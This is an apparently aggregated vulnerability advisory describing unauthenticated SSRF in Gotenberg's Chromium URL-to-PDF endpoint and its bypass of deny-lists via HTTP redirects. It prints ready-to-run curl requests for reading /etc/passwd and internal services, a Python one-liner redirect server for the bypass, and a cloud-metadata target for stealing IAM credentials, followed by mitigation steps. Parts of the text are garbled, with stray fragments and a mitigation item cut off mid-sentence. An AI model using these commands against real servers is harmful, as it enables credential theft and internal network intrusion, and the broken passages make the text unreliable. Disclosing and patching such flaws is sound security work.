Listen to this Post
The vulnerability resides in Gotenberg’s primary Chromium URL-to-PDF endpoint (/forms/chromium/convert/url). By default, the service applies a deny-list that only blocks `file://` URIs (regex ^file:(?!//\/tmp/).). HTTP and HTTPS requests to any destination—including loopback, RFC 1918 addresses, and cloud metadata IPs—are allowed without validation. An unauthenticated attacker can submit a POST request with a `url` parameter pointing to an internal service (e.g., http://127.0.0.1:3000/health`). Gotenberg’s headless Chromium fetches the URL and renders the response as a PDF, returning it to the attacker. Moreover, even if an operator configures a custom deny-list for the initial URL, the protection is bypassed via HTTP redirects. Chromium follows `302` redirects from an attacker‑controlled external server to an internal target without re‑validating the redirect destination. The same redirect bypass affects the `downloadFrom` and `webhook` endpoints (which use Go’s `http.Client` with no `CheckRedirect` function), rendering their explicit RFC 1918 deny‑lists ineffective. No authentication is required on any endpoint. In cloud environments, an attacker can requesthttp://169.254.169.254/latest/meta-data/` and receive IAM credentials as a PDF. Internal port scanning and access to internal HTTP services (admin panels, databases) are also possible. The issue was tested on `gotenberg/gotenberg:8` (v8.30.1) with default Docker settings. The developer correctly added deny‑lists to secondary features but omitted protection for the core Chromium conversion endpoint.
dailycve form:
Platform: Gotenberg API
Version: up to 8.30.1
Vulnerability : SSRF via redirect
Severity: Critical
date: 2026‑05‑11
Prediction: No patch yet
What Undercode Say:
Check version
curl http://localhost:3000/version
Default deny-list blocks only file://
curl -X POST http://localhost:3000/forms/chromium/convert/url \
--form 'url=file:///etc/passwd' -w "HTTP %{http_code}"
SSRF to localhost (not blocked)
curl -X POST http://localhost:3000/forms/chromium/convert/url \
--form 'url=http://127.0.0.1:3000/health' -o ssrf.pdf
Redirect bypass (start redirect server on port 9999)
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler; \
class R(BaseHTTPRequestHandler):\
def do_GET(self): self.send_response(302); self.send_header('Location','http://127.0.0.1:3000/health'); self.end_headers();\
HTTPServer(('0.0.0.0',9999),R).serve_forever()" &
Exploit via redirect
curl -X POST http://localhost:3000/forms/chromium/convert/url \
--form 'url=http://172.17.0.1:9999/' -o redir.pdf
Exploit:
Unauthenticated POST to `/forms/chromium/convert/url` with url=http://169.254.169.254/latest/meta-data/` (cloud metadata). Or host a 302 redirect server at an allowed domain that redirects to internal IP. Chromium follows redirect, renders internal response as PDF, returns to attacker.https://trusted-domains`).
<h2 style="color: blue;">Protection from this CVE:</h2>
1. Apply network firewalls to restrict Gotenberg API access (default no auth).
2. Deploy a reverse proxy with explicit URL allow‑list (e.g., only
3. Patch by implementing `CheckRedirect` in Go client and configuring Chromium with `–host-resolver-rules` to block internal IPs.
4. Monitor for unofficial patch; vendor has not yet released a fix.
Impact:
Remote, unauthenticated SSRF allows exfiltration of cloud IAM credentials (AWS/GCP/Azure), internal port scanning, access to internal HTTP services (databases, admin panels, monitoring dashboards), and bypass of custom deny‑lists via one redirect hop. Full compromise of internal network enumeration and credential theft.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
